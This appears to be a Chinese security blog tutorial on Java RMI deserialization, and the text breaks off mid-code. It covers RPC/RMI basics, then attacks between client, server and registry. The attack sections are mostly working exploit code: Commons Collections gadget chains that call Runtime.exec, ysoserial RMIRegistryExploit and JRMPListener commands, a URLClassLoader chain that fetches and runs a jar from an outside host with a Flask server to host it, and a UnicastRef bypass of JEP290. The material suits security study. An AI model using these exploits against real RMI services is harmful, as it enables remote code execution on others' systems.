深入学习RMI反序列化 RPC RPC(Remote pricedure call),即远程过程调用
它是一个计算机协议,允许一台服务器的程序调用另一台服务器的子程序,它使得程序员在进行远程调用时就像调用本地函数一样,无需关注具体交互细节。
RPC的速度优于HTTP(二进制传输),但它的通用性不如HTTP,故RPC适用于内部服务间通信,HTTP适用于客户端与服务器之间的通信
应用 RPC多用于大型企业的分布式系统,因为大型企业的业务/系统繁多,不可能将所有功能都集中在一台服务器上,故需要构建分布式系统,利用RPC去远程调用目标的函数以实现进程的协同和交互
简而言之,RPC就是为了像调用函数一样来让不同服务器之间进行通信
调用过程
参考自wikipedia
客户端调用客户端stub(client stub)。这个调用是在本地,并将调用参数push到栈 (stack)中。
客户端stub(client stub)将这些参数包装(序列化),并通过系统调用发送到服务端机器。打包的过程叫 marshalling 。(常见方式:XML 、JSON 、二进制编码)
客户端本地操作系统发送信息至服务器。(可通过自定义TCP协议 或HTTP 传输)
服务器系统将信息传送至服务端stub(server stub)。
服务端stub(server stub)解析信息(反序列化)。该过程叫 unmarshalling 。
服务端stub(server stub)调用程序,并通过类似的方式返回给客户端。
流程图
关于RPC更多细节可以去看p1g3学长推荐的视频 RPC演化过程 加深理解
RMI和RPC的区别与联系
RPC是一种设计模式,与操作系统和语言无关,而RMI是RPC在Java中的实现
RMI面向对象,而RPC不是面向对象,也不能调用对象,它调用的是目标的子程序
RMI通过客户端的Stub对象作为远程接口进行远程方法调用,每个远程方法都具有方法签名。没有方法签名的远程方法不能被Client调用 而RPC通过网络服务协议进行通信,发送参数集,Server接收后就搜索匹配的类和方法进行调用,并将结果编码,然后通过网络协议返回
RMI基础 RMI是Java实现RPC的一种方式,它使用JRMP协议进行通信,使客户端能够调用远程方法/对象。
RMI组成 RMI一般由三部分组成
客户端(Client) 客户端是调用远程对象的发起者,与RPC的Client类似,它会将需要调用的方法以及参数传递到Client Stub
,在Client Stub
进行序列化(Marshalling),然后以二进制的方式传输到服务端
注册中心(Registry) Registry用于远程服务的管理,它可以提供服务的查询,绑定,解绑,重绑等操作。
Server端的服务需要先绑定在Registry才能被Client调用
服务端(Server) 服务端是RMI中的被调用者,它接收到Client发送到二进制数据后,会在Seleton进行拆包解析,反序列化(Unmarshalling),然后进行本地调用,传递给Server
还有一些关于RMI组成的概念需要了解
Transport Layer:RMI中负责网络通信的部分
RRL:Remote Reference Layer,它代表代码层面上逻辑的连接(实际是靠Transport Layer进行网络连接)
Stub:即存根,它是远程对象在客户端的代理
Skeleton:骨架,它运行于服务端,负责对Stub请求数据的调用
流程图
代码基础 Java提供了RMI的官方函数API,即 java.rmi 包
接口/异常类 Remote
它是一个 interface ,该接口没有声明任何方法,但只有继承了该接口中的方法才能被远程调用
RemoteException
所有能够被远程调用的方法都需要抛出RemoteException
异常
如定义接口如下
1 2 3 4 5 6 import java.rmi.Remote;import java.rmi.RemoteException;public interface IUser extends Remote { String getName () throws RemoteException ; }
NotBoundException
当尝试在注册表查找或解绑没有绑定的名称,就会抛出NotBoundException
UnicastRemoteObject
只有继承了UnicastRemoteObject
的类,才能作为远程对象而被客户端调用
注册中心类 Registry实现的注册中心 Registry
它是一个interface,提供从注册中心获取远程对象引用的方法,其每个方法都存在一个String类型的name参数,其实例可由LocateRegistry.getRegistry()得到
LocateRegistry
用于获取到注册中心的一个连接,这个连接可以用于获取一个远程对象的引用,
被调用的类IUserRemoteObj.java
1 2 3 4 5 6 7 8 9 10 import java.io.Serializable;import java.rmi.RemoteException;public class IUserRemoteObj implements IUser , Serializable { @Override public String getName () throws RemoteException { String name = "ttpfx" ; return name; } }
服务端RegistryServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import java.rmi.registry.Registry;import java.rmi.registry.LocateRegistry;import java.rmi.RemoteException;import java.util.concurrent.CountDownLatch;public class RegistryServer { public static void main (String[] args) throws InterruptedException { try { int port = 1234 ; Registry registry = LocateRegistry.createRegistry(port); IUserRemoteObj user = new IUserRemoteObj(); registry.rebind("getName" , user); System.out.println("服务器启动地址: 127.0.0.1:" + port); } catch (RemoteException e) { e.printStackTrace(); } CountDownLatch latch=new CountDownLatch(1 ); latch.await(); } }
客户端RegistryClient.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import java.rmi.registry.Registry;import java.rmi.registry.LocateRegistry;import java.rmi.RemoteException;import java.rmi.NotBoundException;public class RegistryClient { public static void main (String[] args) { try { Registry registry = LocateRegistry.getRegistry(1234 ); IUserRemoteObj user = (IUserRemoteObj) registry.lookup("getName" ); String name = user.getName(); System.out.println("调用结果:" + name); } catch (NotBoundException | RemoteException e) { e.printStackTrace(); } } }
先启动server
,再启动client
,结果如下
由Naming实现的注册中心 Naming
提供从注册中心获取远程对象引用的方法。该类中的方法都为静态,每个方法都包含一个String类型的name参数,该参数为URL
格式,如//host:port/name
下面是由Naming实现的注册中心,与Registry相比只是Server
和Client
做了改动
NamingServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import java.net.MalformedURLException;import java.rmi.AlreadyBoundException;import java.rmi.Naming;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.util.concurrent.CountDownLatch;public class NamingServer { public static void main (String[] args) throws InterruptedException { try { int port = 1234 ; LocateRegistry.createRegistry(port); IUserRemoteObj user = new IUserRemoteObj(); Naming.bind("rmi://localhost:1234/getName" ,user); System.out.println("服务器启动地址: 127.0.0.1:" + port); } catch (RemoteException e) { e.printStackTrace(); } catch (MalformedURLException e) { e.printStackTrace(); } catch (AlreadyBoundException e) { e.printStackTrace(); } CountDownLatch latch=new CountDownLatch(1 ); latch.await(); } }
NamingClient.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import java.net.MalformedURLException;import java.rmi.Naming;import java.rmi.NotBoundException;import java.rmi.RemoteException;public class NamingClient { public static void main (String[] args) { try { IUserRemoteObj user = (IUserRemoteObj) Naming.lookup("rmi://localhost:1234/getName" ); String name = user.getName(); System.out.println("调用结果:" + name); } catch (RemoteException e) { e.printStackTrace(); } catch (NotBoundException e) { e.printStackTrace(); } catch (MalformedURLException e) { e.printStackTrace(); } } }
反序列化攻击 RMI在传输数据的过程中存在反序列化,自然,RMI的调用也可能会出现Java反序列化相关的问题
测试环境为JDK-7u80
从攻击方分类
有一个点需要首先了解,高版本JDK的注册中心必须与服务端在同一服务器,难以利用注册中心打服务端或服务端打注册中心,而低版本JDK的服务端与注册中心可以分离,具有攻击的可能性
不过总的来说,服务端和注册中心间的攻击都蛮鸡肋的
服务端攻击注册端 当服务端使用bind
等函数绑定远程对象时,就会将注册端Obj序列化发送给Registry,而Registry接收参数后就会反序列化对象,造成RCE
Registry.java
1 2 3 4 5 6 7 8 9 10 11 12 package RMI;import java.rmi.registry.LocateRegistry;import java.util.concurrent.CountDownLatch;public class Registry { public static void main (String[] args) throws Exception { LocateRegistry.createRegistry(1234 ); CountDownLatch latch=new CountDownLatch(1 ); latch.await(); } }
然后使用ysoserial的注册端攻击模块来打
1 $java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1234 CommonsCollections1 'open /System/Applications/Calculator.app'
服务端攻击客户端 客户端调用方法的类型为Object,存在利用链。而服务端恰巧被恶意攻击者控制时,服务端就可以通过返回恶意Object从而被客户端反序列化造成命令执行
User.java
1 2 3 4 5 6 7 package RMI;import java.rmi.Remote;public interface User extends Remote { public Object setUser () throws Exception ; }
IUserObj.java
1 2 3 4 5 6 7 8 9 10 11 12 package RMI;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class IUserObj extends UnicastRemoteObject implements User { protected IUserObj () throws RemoteException { } public Object setUser () throws RemoteException { return null ; } }
Client.java
1 2 3 4 5 6 7 8 9 10 11 12 package RMI;import java.rmi.Naming;public class Client { public static void main (String[] args) throws Exception { String url = "rmi://127.0.0.1:12345/setUser" ; User user = (User)Naming.lookup(url); Object name = user.setUser(); System.out.println("调用名称为:" +name); } }
Server.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 package RMI;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.lang.reflect.Field;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.Naming;import java.rmi.server.UnicastRemoteObject;import java.util.HashMap;import java.util.Map;public class Server { public static class IUserObj extends UnicastRemoteObject implements User { public IUserObj () throws RemoteException { super (); } public Object setUser () throws Exception { BadAttributeValueExpException calc = getObject("open /System/Applications/Calculator.app" ); return calc; } } public static void main (String[] args) throws Exception { String url = "rmi://127.0.0.1:12345/setUser" ; IUserObj user = new IUserObj(); LocateRegistry.createRegistry(12345 ); Naming.bind(url,user); System.out.println("Server Running At:" + url); } public static BadAttributeValueExpException getObject (final String command) throws Exception { final String[] execArgs = new String[] { command }; final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1 ) }); final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, execArgs), new ConstantTransformer(1 ) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo" ); BadAttributeValueExpException val = new BadAttributeValueExpException(null ); Field valfield = val.getClass().getDeclaredField("val" ); valfield.setAccessible(true ); valfield.set(val, entry); Class<? extends Transformer> aClass = transformerChain.getClass(); Field iTransformers = aClass.getDeclaredField("iTransformers" ); iTransformers.setAccessible(true ); iTransformers.set(transformerChain,transformers); return val; } }
客户端攻击服务端 当服务端存在传入参数为Object的方法,且服务环境存在利用链时,就会存在RMI反序列化的问题
从RMI架构图可知,服务端会将我们传输的Object进行反序列化,因此存在反序列化漏洞的问题
我们将客户端传入的参数设置为存在反序列化问题的Obj
,这里以CC链中的LazyMap
作演示
接口User.java
1 2 3 4 5 6 7 8 9 package RMI;import java.rmi.Remote;import java.rmi.RemoteException;public interface User extends Remote { public String getName () throws RemoteException ; public void setUser (Object work) throws RemoteException ; }
远程调用类IUserObj.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package RMI;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class IUserObj extends UnicastRemoteObject implements User { protected IUserObj () throws RemoteException { super (); } @Override public String getName () throws RemoteException { return "ttpfx" ; } public void setUser (Object a) throws RemoteException { System.out.println(a); } }
服务端Server.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package RMI;import java.rmi.Naming;import java.rmi.registry.LocateRegistry;public class Server { public static void main (String[] args) throws Exception { String url = "rmi://127.0.0.1:1234/setUser" ; IUserObj user = new IUserObj(); LocateRegistry.createRegistry(1234 ); Naming.bind(url,user); System.out.println("Server Running At:" + url); } }
客户端Client.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 package RMI;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.lang.reflect.Field;import java.rmi.Naming;import java.util.HashMap;import java.util.Map;public class Client { public static BadAttributeValueExpException getObject (final String command) throws Exception { final String[] execArgs = new String[] { command }; final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1 ) }); final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, execArgs), new ConstantTransformer(1 ) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo" ); BadAttributeValueExpException val = new BadAttributeValueExpException(null ); Field valfield = val.getClass().getDeclaredField("val" ); valfield.setAccessible(true ); valfield.set(val, entry); Class<? extends Transformer> aClass = transformerChain.getClass(); Field iTransformers = aClass.getDeclaredField("iTransformers" ); iTransformers.setAccessible(true ); iTransformers.set(transformerChain,transformers); return val; } public static void main (String[] args) throws Exception { String url = "rmi://127.0.0.1:1234/setUser" ; User user = (User)Naming.lookup(url); String name = user.getName(); System.out.println("调用名称为:" +name); BadAttributeValueExpException calc = getObject("open /System/Applications/Calculator.app" ); user.setUser(calc); } }
调用结果
这里在调试过程中发现了两个有趣的点
有空再来看看触发原因
找到了这篇文章 Java “后反序列化漏洞” 利用思路
先解释第一点,toString本身也存在readObject
方法的调用,而CC2的代码能够走到readObject
,CC1不行
(此时就相当于CC链5了)
第二点,IDEA的Debug模式会显示Object相关信息,因此会自动调用该Object的toString方法,从而触发反序列化
客户端攻击注册端 在客户端可用的函数中(list、lookup),只有lookup存在readObject
的调用,即存在反序列化的可能性,但lookup
调用的参数为String
类型,来跟进一下lookup
sun.rmi.registry.RegistryImpl_Stub.class
那我们仿造lookup的流程去重写一个自己的lookup,并把恶意对象赋值为var1
传递过去,即可触发反序列化
这里就不写代码了,下面的URLClassLoader
带回显攻击使用的也是客户端攻击注册端,具体见下面
注册端攻击客户端 客户端一般调用调用list、lookup这两个函数去查询服务,而查询结果会返回给客户端,客户端将接收到数据进行反序列化,故造成Java反序列化
先用ysoserial
起一个恶意注册端
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1234 CommonsCollections1 'open /System/Applications/Calculator.app'
运行示例代码Client.java
1 2 3 4 5 6 7 8 9 10 11 package Reg_Client;import RMI.User;import java.rmi.Naming;public class Client { public static void main (String[] args) throws Exception { String url = "rmi://127.0.0.1:1234/User" ; User user = (User)Naming.lookup(url); } }
注册端攻击服务端 同上,服务端在对注册中心进行查询时,会调用bind
等函数,然后将返回结果进行反序列化,如果我们能控制注册中心+目标存在利用链,那同样可造成反序列化RCE
起恶意JRMP服务
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1234 CommonsCollections1 'open /System/Applications/Calculator.app'
Server.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package RMI;import java.rmi.Naming;import java.rmi.registry.LocateRegistry;public class Server { public static void main (String[] args) throws Exception { String url = "rmi://127.0.0.1:1234/setUser" ; IUserObj user = new IUserObj(); LocateRegistry.createRegistry(12345 ); Naming.unbind(url); System.out.println("Server Running At:" + url); } }
运行Server.java
,使用注册中心解绑服务,实现RCE
与Client不同,注册点攻击服务端的利用中,list
、lookup
、bind
、rebind
、unbind
都能用于触发反序列化
其它攻击方式 远程加载类 简介
RMI进行远程调用时需要Client和Server都存在需要调用的类文件,当存在多个客户端需要进行远程调用时,维护每个客户端上的类文件就很繁琐,这时需要RMI远程加载类
RMI默认不支持远程加载类,需要配置java.security.policy
codebase
JVM根据codebase来找到需要调用的类文件,默认的(调用本地类)称为本地codebase
,即从磁盘目录加载。而加载远程类则叫做远程codebase
,当远程codebase
为恶意服务端时,就可能会触发安全问题
useCodebaseOnly
从JDK-6u45
和JDK-7u21
开始java.rmi.server.useCodebaseOnly
的值就默认为true,防止JVM从其他地址动态加载类,而要实现远程加载类攻击则需要该值为false
利用
利用条件太过苛刻,实战性不大,配置过程也很麻烦,这里就不复现了
详见 https://xz.aliyun.com/t/7900#toc-9
URLClassLoader带回显攻击 场景适用于Server/Client攻击Registry
注册中心Registry.java
1 2 3 4 5 6 7 8 9 10 11 12 package URLCLD;import java.rmi.registry.LocateRegistry;import java.util.concurrent.CountDownLatch;public class Registry { public static void main (String[] args) throws Exception { LocateRegistry.createRegistry(1099 ); CountDownLatch latch=new CountDownLatch(1 ); latch.await(); } }
客户端URLClient.java
网上绝大多数文章在URLClassLoader这里使用的是bind去触发反序列化,然后回显结果,但使用bind去触发就相当于Server攻击Registry,实战性不大,故这里写了一个Client攻击Registry的带回显攻击 (通过仿写lookup去触发带回显攻击)
修改自p1g3学长的Client攻击Registry,将其中反射链改为了URLClassLoader
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 package URLCLD;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import sun.rmi.server.UnicastRef;import java.io.ObjectOutput;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.net.URL;import java.net.URLClassLoader;import java.rmi.Remote;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.Operation;import java.rmi.server.RemoteCall;import java.rmi.server.RemoteObject;import java.util.HashMap;import java.util.Map;public class URLClient { public static void main (String[] args) throws Exception { String ip = "localhost" ; int port = 1099 ; String remotejar = "http://pipinstall.cn:1234/RMIexploit.jar" ; String command = "ls -al" ; ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(URLClassLoader.class), new InvokerTransformer("getConstructor" , new Class[] { Class[].class }, new Object[] { new Class[] { URL[].class } }), new InvokerTransformer("newInstance" , new Class[] { Object[].class }, new Object[] { new Object[] { new URL[] { new URL(remotejar) } } }), new InvokerTransformer("loadClass" , new Class[] { String.class }, new Object[] { "ErrorBaseExec" }), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "do_exec" , new Class[] { String.class } }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new String[] { command } }) }); HashMap innermap = new HashMap(); Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap" ); Constructor[] constructors = clazz.getDeclaredConstructors(); Constructor constructor = constructors[0 ]; constructor.setAccessible(true ); Map map = (Map)constructor.newInstance(innermap,chain); Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructor(Class.class,Map.class); handler_constructor.setAccessible(true ); InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructor(Class.class,Map.class); AnnotationInvocationHandler_Constructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map); Registry registry = LocateRegistry.getRegistry(ip,port); Remote r = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[] { Remote.class }, handler)); Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields(); fields_0[0 ].setAccessible(true ); UnicastRef ref = (UnicastRef) fields_0[0 ].get(registry); Field[] fields_1 = registry.getClass().getDeclaredFields(); fields_1[0 ].setAccessible(true ); Operation[] operations = (Operation[]) fields_1[0 ].get(registry); RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2 , 4905912898345647071L ); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(r); ref.invoke(var2); } }
远程恶意文件ErrorBaseExec.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import java.io.BufferedReader;import java.io.InputStreamReader;public class ErrorBaseExec { public static void do_exec (String args) throws Exception { Process proc = Runtime.getRuntime().exec(args); BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); StringBuffer sb = new StringBuffer(); String line; while ((line = br.readLine()) != null ) { sb.append(line).append("\n" ); } String result = sb.toString(); Exception e=new Exception(result); throw e; } }
打包为jar文件
1 2 $javac ErrorBaseExec.java$jar -cvf RMIexploit.jar ErrorBaseExec.class
起一个文件服务返回jar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from flask import request,Response,Flaskimport mimetypesapp = Flask(__name__) @app.route('/RMIexploit.jar' ,methods=['GET' , 'POST' ] ) def downloadFile2 (): filename = '/java/RMIexploit.jar' f = open (filename, "rb" ) response = Response(f.readlines()) mime_type = mimetypes.guess_type(filename)[0 ] response.headers['Content-Type' ] = mime_type response.headers['Content-Disposition' ] = 'attachment; filename={}' .format ("RMIexploit.jar" .encode().decode('latin-1' )) return response if __name__ == '__main__' : app.run(host='0.0.0.0' , port=1234 , debug=True )
注意本地的JDK版本和vps JDK版本不能相差一个大版本,否则会报错Unsupported major.minor version
如至少同为JDK-8u***
执行流程
VPS准备好jar文件后,用Python启动恶意文件服务,然后启动注册端Registry.java
。
Client
执行URLClient.java
,通过仿写的registry.lookup
在Registry
触发反序列化
Registry
执行到反射链部分,通过 java.net.URL获取到恶意jar文件
同理通过反射链执行jar文件里面ErrorBaseExec
类的do_exec
在执行do_exec
时,命令执行结果传入异常类,然后抛出
Registry
获取到抛出的异常后,将异常信息传回Client
,由此回显
Bypass JEP290
影响范围JDK版本<8u231
这里测试环境改为了 JDK-8u202
JEP290 先来了解一下什么是JEP290,参见 Oracle官方文档
JEP290 是一种filter机制,用于对Java序列化数据的过滤,以提高代码安全性
JDK9及之后全面支持JEP 290,而JDK9之前,从8u121、7u131、6u141开始也支持JEP290
文档中写明了三种filter,支持黑/白名单
Pattern-Based Filters (基于匹配模式的filter)
Custom Filters (用户自定义filter)
Built-in Filters (JDK内置filter)
Pattern-Based Filters需要在相应文件配置好黑/白名单,启动时指定相应配置文件名,或者直接在启动命令行参数写明黑/白名单
我们配置Pattern-Based Filters时,需要将pattern
添加到安全配置文件java.security
的jdk.serialFilter
属性,或者启用sun.rmi.registry.registryFilter
属性
JDK 6,7,8位于$JAVA_HOME/conf/security/java.security
JDK 9及之上位于$JAVA_HOME/conf/security/java.security
还可以直接在IDAE
主界面的Help->Edit Custom VM Options
进行添加
具体参数设置见这里
然后再次启动上一节URLClassLoader
带回显攻击的代码
被过滤器拦截
UnicastRef Bypass JEP290 给出代码
Registry.java
1 2 3 4 5 6 7 8 9 10 11 12 package JEP;import java.rmi.registry.LocateRegistry;import java.util.concurrent.CountDownLatch;public class Registry { public static void main (String[] args) throws Exception { LocateRegistry.createRegistry(2333 ); CountDownLatch latch=new CountDownLatch(1 ); latch.await(); } }
用ysoserial
开启JRMPListener
1 $java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open -a Calculator"
ysoserial自带JRMP payload就能绕过JEP290
Client.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package JEP;import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;import java.lang.reflect.Proxy;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.*;import java.util.Random;public class Client { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("localhost" ,2333 ); ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("localhost" , 1099 ); UnicastRef ref = new UnicastRef(new LiveRef(id, te, true )); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(Client.class.getClassLoader(), new Class[] { Registry.class }, obj); registry.bind("a" ,proxy); } }
原理 学习原理前推荐去看先知上的一篇文章(如下),有助于对Bypass JEP290涉及到的RMI工作机制的理解
深入学习rmi工作原理
Registry的创建 先来看看Registry创建流程
跟进java.rmi.registry.LocateRegistry.createRegistry()
跟进RegistryImpl
sun.rmi.registry.RegistryImpl.class
注意里面的run函数,用到了LiveRef,用来建立RMI连接(else块也用到了LiveRef)
然后是UnicastServerRef,传入的第二个参数为registryFilter
跟一下
设置了一大堆限制条件,只要满足一条就会返回Status.REJECTED
进入UnicastServerRef
然后跟一下setup
跟进exportObject,来到UnicastServerRef
这里的Target携带了注册中心相关的信息
然后进入exportObject,跟一下,一路来到
sun.rmi.transport.tcp.TCPTransport.class
跟进listen
可以看到,当执行到listen时,就开始监听端口,同理此时Server就能执行bind等操作了
Registry的数据接收 再来看看Registry如何处理接收的数据
前面是一些协议判断,数据包交互等过程
关注重点,直接来到UnicastServer的oldDispatch函数
最后直接调用了skel的dispatch,而skel是什么呢?
跟进一下
继续跟一下sun.rmi.registry.RegistryImpl_Skel.class的dispatch
这里就将数据进行反序列化了,那有个疑问,filter的过滤判断又是在哪里呢?
回到UnicastServerRef的oldDispatch函数
跟一下unmarshalCustomCallData
这里就调用了filter去检测将要被反序列化的数据合法性
即在反序列化前就会去调用检测函数unmarshalCustomCallData
UnicastRef Bypass原理 为什么UnicastRef能Bypass JEP290呢?
来看看JDK内置过滤器的白名单
这个UnicastRef就位于白名单中,意味着如果我们能利用它去实现一些目的,而Unicast对象作用是什么?
RMI客户端或服务端与注册端的通信,就基于UnicastRef
跟进bind
建立连接
看看LiveRef的构造函数
传入了ObjID
、Endpoint
和一个bool变量,首先跟进ObjID
然后看看Endpoint
可知这里传入的第一个String类型参数是host,第二个int参数是port
而最后isLocal,在执行过程中默认是false
由此可以根据UnicastRef发起RMI请求的流程自己构造一个RMI请求,参见 ysoserial payload中的JRMPClient
而发起请求后,会调用sun.rmi.transport.DGCImpl_Stub
的dirty
函数去和JRMP建立连接
如图,在71行的this.ref.newCall
建立连接,然后在74行的var5.getOutputStream
获得恶意Object数据,在77行的var6.writeObject
写入数据
82行调用UnicastRef的invoke
218行调用sun.rmi.transport.StreamRemoteCall
的executeCall
,最终在该函数实现反序列化
而JRMP接收的数据反序列化流程就没有调用到UnicastServerRef
中的unmarshalCustomCallData
去检验该数据合法性,成功绕过JEP290
如图,反序列化数据前
反序列化后
反序列化出的var14就是CC链5中的BadAttributeValueExpException
注册端反序列化调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 executeCall:260, StreamRemoteCall (sun.rmi.transport) invoke:375, UnicastRef (sun.rmi.server) dirty:109, DGCImpl_Stub (sun.rmi.transport) makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport) registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport) registerRefs:160, DGCClient (sun.rmi.transport) registerRefs:102, ConnectionInputStream (sun.rmi.transport) releaseInputStream:157, StreamRemoteCall (sun.rmi.transport) dispatch:80, RegistryImpl_Skel (sun.rmi.registry) oldDispatch:468, UnicastServerRef (sun.rmi.server) dispatch:300, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:573, TCPTransport (sun.rmi.transport.tcp) run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 1520005291 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5) doPrivileged:-1, AccessController (java.security) run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang)
此外,并非只有bind才能Bypass JEP290,仿写的lookup同样可以,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 package JEP;import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;import java.lang.reflect.Proxy;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.*;import java.util.Random;import java.io.ObjectOutput;import java.lang.reflect.Field;public class Client2 { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("localhost" ,2333 ); ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("localhost" , 1099 ); UnicastRef ref = new UnicastRef(new LiveRef(id, te, true )); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(Client.class.getClassLoader(), new Class[] { Registry.class }, obj); Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields(); fields_0[0 ].setAccessible(true ); UnicastRef ref2 = (UnicastRef) fields_0[0 ].get(registry); Field[] fields_1 = registry.getClass().getDeclaredFields(); fields_1[0 ].setAccessible(true ); Operation[] operations = 